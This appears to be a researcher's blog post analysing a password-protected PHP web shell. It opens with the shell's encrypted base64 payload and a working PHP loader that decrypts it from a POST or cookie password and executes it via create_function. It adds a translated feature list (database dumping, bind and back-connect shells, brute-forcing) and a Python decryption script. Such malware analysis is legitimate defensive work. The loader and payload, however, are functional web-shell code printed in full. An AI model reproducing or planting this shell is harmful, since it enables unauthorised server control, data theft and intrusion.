fA6pTJcAE9P+pYqu9A+hoTxDVq595GRwjs1rB00TXSTFAJdFmIsfVsUSbcl+LKZaHx0DWSK/klz3Vsfo
RjpYZb9LaiwiS0kn6pP3OK1oRBSwmKZR5SGlKwurQnoN4PwiekxTuynN78HiOVYd13p45PdKDdYW0tYK
RmUzLS4S1oqVYU5J/cLCfNgGD4NDRL/dhgo+eWLfm6ywcFUVvmmyZIiNSJ1rPrkZazbpN8qFhcnSSiqI
1NN5x4O2fDOBRKFoHov84DbjA+bBhmlaUWme066DZIByoAbDxWQM52Qo3UWshDsWN4xQxyisfkbKITVb
hlhiQNFWQHHyt2XGTxA3zpqK/zg7E4Z2s4Hxnz/Y6kSsBKrkv3OvX/cvG+m/1G6N2joQsR1iDDQHMzFz
EOz/TsIztRkSBGJ7hwmhW4jbaZ7lG2dJ2fjy/i0BlclGQD9Ik8OMTxxbVURGvdCm/rFVLRjzvhDWJNNZ
WrXgAGK+tlnS16LC9qfJYV0aGLMPWTeYKMxAyMdqshLm+TPCATQmczX0DpWaE2InC/41jVk8zA3j9385
8X9lXS1h3cYZOgvaz0Z29B1bg62QknM6yuyUBgMyee0i4sGBmQgNZPqK6PTN05IJSBJzr5vOlCqdZpJM
rBNorYxKQhUz8bDclpNTFqgWB6iE32wd5y/gFHyu8E7N2ZKUgfBOqCQavRm+vDi8BfNO6hS/DbXTp/ih
GR/wmVF0yWJWOyFtaz6DNmNOLCW3DNq4a4soWqqo2BgUTxMRHuO5FPRzhTC0OGSIMvDvKPJQxvmOxoQk
Eoj5Qd5B4V7+j5HV3sUrQ/11UqU1ohTUE9xKfkCt29t2QNwokvux5VZezHl2bmKZDcGgvVBy2auA0W0l
Zoyewe/tEQkoRl2ScLcscGrAnpDToD8JYpEmkITOkolWeYBnKtPCk/svEpcQR7z1smuZFNcLOruKEsAW
+u+ShlXCMAx2x/1+BHuumGO2t2D7G4TDeiiOCGXemDyl1I04ZCOG8spXHQZ3iuvr5/5r8ft+T76gZ0AI
Akn4P7ijesw5dAuRH9veL5Ye0F9Rf+RIi94iEVZ5BsU79qAKVGsjX6348piTEkQzq7kv16xSsjA+HSRd
xHEIJUnsVliEkkiVkwXnRG2INY3pyatATQh4KV5a8Nn66ftKzHLtMrXXWa56VhIosX99qlUnaSZ+LIhE
JvqLyuPxXdLE19ei1NSUWVgaCwvDC/7WtrEGsAvzwD/ojml9069s2ATuMGPvtLOc5pG7L6sE8Er7KQ1A
KiRvd2bEUZ08+0G2g9lXUms7jCkFGNvUg/tf41XPrq+PyeizQpJeN31B0lM/g8MgvQEzjSOwbRHHWdhs
SUVaM+bYiRnGaaE1NYd30UD3FGeYlv4y56SKO4PCiICiEOTjU4oGP84gY5FfNylqYifJ0okDS/NV3n7T
Ne0oKlHSI4qjRbrLV8ptkkDlSsp6cLKUfN5L7JoxzfXSJDRDE+6sQbXUZPZDxx0BFYiXA6lf4BKAv65t
5IWGrErF8sD1UmSYHlWiPjv/WxoygO2Z1UYxFjNSod7RDDWkRlZRO12LmGZ5Dvvc7gb94CRTrc+NoYiv
FHGBWizz0noVRs6a9v0ZiAiFtnyH5VNpNNsYgMHVMRzrVmt1dXZrb/zdIyjY2jJrtnV+5jCPMbvwZzbL
gu/KunmfWROUWqox/rCzz2XHwIjek7aplz2TyYNOLKPbYVqe/mh+9tNNvhxJiyk7R5Pc8aSuraay+WYQ
S62ydxxJZPRsLI/lJ3fJbg/p1ppNmissUXy2QwEFcjcECbVQ6JtaERveqW1MRw9wsdo/dSvIJOBZzZGh
XRM13Ouq4ABKOhUP8GDrPX/cMt4dEBZmQYXmmbMioO2tWRH/DrgwPke+fKzpYL1FrQbdkrzYeWmhYXme
1qlXUUEr4EMKEakgMUiVTDePDcHKu+5qt9X43nCEu4pnf+aQbNDJO+45SsGIQZ+LEEQhBXsRLnjePGID
gOSWAkkAqCDy7xg0BPyF8cj5FzCK+gpSm1LGw0O2RirYCz9x/wt4wVGHBZFf7DdS14nmsngR3GpcxLLx
75Ewx1kDCFygXGSH3kgNYWF3QQzndeACknKPt3xVwOuZ86/JQKMzf0wK0XoQ78dBkRjfWV7GTMqCsWCc
jqBW0NpU5waNvS1iyuLZxTOP4oNAFsXlHowh2ILGvv7LYharO7zks9qAERbv6HVLDV7qZAFAHasKDxYK
j6xpMWb0ZYfBl8Gg7Ep8JF+28HWI8/PwTYAoVVJTeaRfSH6aJa/R4m6v4rg4R8EwZWFmwrrM+IdJu0Gn
W4qdkFnsvEdvr+CZJuWy8UDDvu/EPYHlpL/Jo/uI1hwKsXV135lYVFfd6Zfhh0JeAKClm8T3fGtYPB3n
LJW6eyDFNyBosfzsovWGg4VEQW98JzVPYAINIjP0jqp8ccQGfjxvDnxyAKZqnO9nfA1Pl7rzsaA+NBNB
DZTig5ZMeVhDE3t6jG57GIl+WgvSC3chWHcjFFAfxKbKqjy3etuiq0lgyalyqAhQ6sk1agwnf+yZzeev
ih/9/xaJg0l+HugP3QlNeb2UKglezxi2MOhAazo1JEjKges/UbKLSreYPRc/P7XXbINO4ynKwnB3Jnu6
J5SOVqGHDcBJjGvzzIy4hyJTRGk0ToRUoDdceOPXcCoAk5rhHtydWhT4l5bHl6IYgzGvzC96RMuIe666
fCtkhqM3RwWd8lfmE6ILSjJGHaT2TN4je5UiM+pblG/t5BYBHUNp9KyGCPurUzPlGi12wWFjqtIcu48g
Kkd5UlynRIuQdSm3of/LcpnMlHLEH8ioL8tirGjfBqEsuyfdsat1NGoLZvaBczAmdmDzmdEUIEZS7yZO
2eulPM56398zoKaqGVO/Kb85uXpDCT9UyhYPC2kyviaMyKKzqrnqV+eeSt/uPW9HIgm5SS+1TUte0Rar
ZCoPXZGo58EPYuTxwYT170SNm1JLfm3TFsJRDnMVe/drVLsi2n5pguL1QJofx+mOaLaqEv5HKOe6uvtF
ANPzKH93b4V7Gi03QjEkeC7i5QE7Re3V4EaEpMoFqjWBM3lNmAniZClBD7oewJ0BZLAN9C71xdjhtFPI
rzPk0S1tirvVmcNJw8Ajr5qk+jQXQEDFCkMQpr6gIFtuC+QxWbhyNEOfeezUiMmX82Dd27jKwrxOOYFR
RrsUog30vm9eD3Rk4/nZSVIiGWFcdm1M6D3nZaMYdtPefAVhKKI2WH7ttQK1+N0geq/ou3SnxdP8Gdfs
XMK7bnWFu6PGuEocD5aJzEQscPrzsvWo7A+MiiS+u9bP5JhjYNxxOY3f+a8FkIKoOXGiQvOcAC6bRP6c
/aLZwPWkyYjgZz333BkzoBf1y5YxNQ4eO3q8eG2NCIuAd03XctL304NkvyC9JxPnFQZFEuBM82rqKNS6
C173yOCNeVX19teKAPZ98imIBn4OMJcgweQIG8tgNWzVvS9yDi4rj0Dx6WTvFovmJqVTZDDt4KCdZWkg
peAYkSGZVidjqNUQFzVay3lgNZ1SaGKxAQSmffYYkeEFNyBojcAYk2M45eFUjws8LSLk9nY1pBCHL+ur
BiM3kwHxu2b/YBezGwHR05w2glsrAiaGKzC2EPbI7sMwDtsKMFuaZhYEEPNwpsud68vK4BvmcoiQlL0U
Ue743TlMxTAr5m6XQSpyOnJqu5ZaT7hTNwUfnkN/r/hbJTAXYiAsuRda9mgWzsz4Ztj91XuFuug5eUIF
afz4wfG5SHzED+swQRH6+dpNVoj9TKrwSm14tDvHpzaVWHWi7ApQsYLqHNut9cnT9wT8Bc9edovHFkhP
gUaoKG30YaSl8GVPVHo1YX+SCPCF/cK3aKZcEsTADYglSpKUX1twFIfJB37NI31Wgy8rKorkcjVDjwdY
80uDe8fhkSkpq7l4ayIPFEklH1VEPeQUzAy9sBkEB1hIH2lIQqbzmVl2pzkTmmTRV4d3DFhc0eD96WVc
AKhiL49zJu7Y4dpM3Iyg4I2BhjEz83gIu13FkZB4Cam4KmrOqW862dwC2N7monmWHPVR2zBr98dpuAGE
Wur7ClVguEKvJS0uLrwa8hKv/CyYZ+78R6Tile1WVcTw/on4NELKYzi5SghyNFIrHZ5A99iXUR1i/kDY
PMGci+JKjrFEZMnpI+YGgQ8t39P1qOSrPJApPk+zVNG6osIJFSnmOuCkH1ZA8TYVUktiO5ebAYs4XRXE
7Xauh7osd5VCwgXpCjeUqWMc/oF+7ewkSLkI8iA9PIGJRMGyTR6I7Mg7HUsxlJ3NdVxgM2xcYaP66nG/
W+7M0rt7ZfJFnTjyfQ6gXmgQHkZLMafUuVD0lyXlEDjGV9msd2OFGgSFZLfUD0He0iAe26afHgkziIw1
nznjzcYpAed1xWEOGjne+bel5I1xNlyhctll0tlQKyF12hz49hSIbJId/IUg6mdAUVEd82Fxg3cvBLct
u9izEo0+0RSKq03QFYH4xCgO0S1vxD/IkDKbOqPQnlObYGq0NYUzTLPtgVeI5Ybe7iZfGJDEzpJSBGQi
zG4HUi5tlMONt5eaqFlCmxjngn1fmUCHOiUSVYEO6mKP5Hx+KHcQjrC4J2uq2KN54HQDh4YbPkY8UVif
J5iWsH81z5o9aWuw0VkUmNeiEhBN9PQoGJgAg7G8W+BOErGB+gG15Y1/V2TKs3h7Wo+CtEiMQyQ4D4XY
xosvfmsx7/c/ODpTdhfVx4tyGFdwFxYmLYKOp+0eN8BwflsfwD4BdJOaNd05qUb6rRjhf8y4v/ljFezw
ijPeUi3PKRku/2MoSgeCkWcqX4dLQJTjajC5WLrmrvRsIGiwpX9H5YzVm3sxJOOFDZ12GwSZ+mQz4qGe
feRZCMQFWhNvKfp32c6Tw9tj5f/B3lMtBYQQ/iF+ywO2cr7ZLM2XCns04vjFyMIk5QR5f6zxShOMs/bS
3YhsGjTjpTpUQGblij8Q8/4g0DK9hwtSq6f6HvSsBU4VVDURcNJtK68ktmNuyAXZw1oZkK6D06b8fqLB
oqKa1ggXTHKWnfOInuDbufsIPpCSH1uaP9J8EK6RqarS9m1yA/f62eoKdMQuR9kp+ghmzb5gqL+K1GXJ
WkzD9WwXnsDnQ8S8DuZ9aCTyOGsptXeBBeZLQJqOgs2mfYGn+rHWtH9J+EiRHAANrih2Z42yFRnNM54b
AI0Nn7UBuuvtB5ItXeSXeuxR+r+5iNweHu6v7IZlSmA3WGAeW9se69zC8B5yfVLJ3YbCqF6gvujK3rEn
aNBgqUhfNSawuVY4cX81Y5PbVuUZMY6bmWOA41vUco3Z2mKNqN/5cL5cT6TCUmnv9C08hfQLup5NrGZB
D+BwFWfOeq5JpViEY7koe/Yl0Vw3LDS1cbw5OdYouYQS0T5sPT8xwfDbXq03bcFra51Rw5ApDsLC8O7R
SoZDFAXbsbj/PJuo3A387Gj3XZPZNMnFf8Xmwn9aAI2w30zTt670tgsq8NBnoPVOKensQWMXwwRJYwgs
vCC1j8QgbEweEMCehFnPDA08UcBEIrgmNaOU6hWLndK1zxfOyTk2fDVA6sjgkzE=
'));$_f__f=isset($_POST['_f__f'])?$_POST['_f__f']:(isset($_COOKIE['_f__f'])?$_COOKIE['_f__f']:NULL);if($_f__f!==NULL){$_f__f=md5($_f__f).substr(MD5(strrev($_f__f)),0,strlen($_f__f));for($_f____f=0;$_f____f<15587;$_f____f++){$_f___f[$_f____f]=chr(( ord($_f___f[$_f____f])-ord($_f__f[$_f____f]))%256);$_f__f.=$_f___f[$_f____f];}if($_f___f=@gzinflate($_f___f)){if(isset($_POST['_f__f']))@setcookie('_f__f', $_POST['_f__f']);$_f____f=create_function('',$_f___f);unset($_f__f,$_f___f);$_f____f();}}?><form method="post" action=""><input type="text"name="_f__f"value=""/><input type="submit"value="&gt;"/></form>

 

Into the Darkness (dankness?)

Was able to visit one of the forums and translate some russian to get its capabilities. This is what I translated:

Description and the load of the shell.
 The size is huge (~ 60KB). Although, judging by the polls, it is quite acceptable.
 Be sure to read about the possibility of a shell!
 Donate still relevant!

Capabilities :
 - Authorization for the cookies.
 - Encryption shell of your password immediately upon downloading.
 - File manager :

group deleting, moving, copying, jump, and download files and directories.
 rename and create files and directories.
 edit, view, change file attributes.
 search for files and directories, text files.

- SQL-client for MySQL, MSSQL, PostgreSQL:
 queries.
 paging table contents.
 dump the database and tables.
 - Bind port (Perl).
 - Back-connect (Perl).
 - Port scanner (PHP).
 - BruteForce based on / etc / passwd for SSH, FTP, POP3, MySQL, MSSQL, PostgreSQL with customizable.
 - Implementation of OS commands and PHP code in different ways.
 - All sorts of useful stuff ...
 Size: ~ 15 Kb
 I would be grateful for criticism, suggestions and bug reports.

At first I didn’t want to run this script because I didn’t know how it worked. FYI never run something if you don’t know what it does yet. So I decided to decode it with a simple python script and read what it does. Below is the python decoding script I made for the base64 I mentioned earlier.


import zlib
import base64
import hashlib

“””
### PHP Code ###
function decrypt($text, $key) {
$len = strlen($text);

$key = md5($key) . substr(md5(strrev($key)), 0, strlen($key));

for ($i = 0; $i < $len; $i++) {
$text[$i] = chr((ord($text[$i]) – ord($key[$i])) % 256);
$key .= $text[$i];
}

return gzinflate($text);
}
“””

def gzinflate(compressed_data):
return zlib.decompress(compressed_data, -15)

def decrypt(text,key):
#    $key = md5($key) . substr(md5(strrev($key)), 0, strlen($key));
    key_md5 = hashlib.md5()
    key_md5.update(key)
    key_md5 = key_md5.hexdigest()

    key_reversed = hashlib.md5()
    key_reversed.update(key[::-1])
    key_reversed = key_reversed.hexdigest()
    substring = key_reversed[:len(key)]
    decoding_key = str(key_md5) + substring
    print “Key is %s” % decoding_key

    output = “”
    for i in range(len(text)):
        byte = text[i]
        new_byte = chr((ord(byte)-ord(decoding_key[i]))%256)
        output += new_byte
        decoding_key += new_byte

    deflated = gzinflate(output)
    with open(“output.txt”,”w”) as o:
        o.write(deflated)

with open(“base64.txt”,”r”) as d:
    base64string = d.read()
    raw_data = base64.b64decode(base64string)
    decrypt(raw_data, “<insert_password_here>”)

Once I knew what it actually did, I ran a simple php server using $php -S localhost:8000 to test it out. Below is basically just some screen shots of the features.

Well that was overrated, but fun to discover 🙂

If you’re looking into finding more shells in the wild, you might start by taking the original php script and just running a search on some of the variable names. I already found a few hits on pastebin with a similar set-up.

P.S. you can always DM me on twitter if you want the password. Security researchers only, sorry.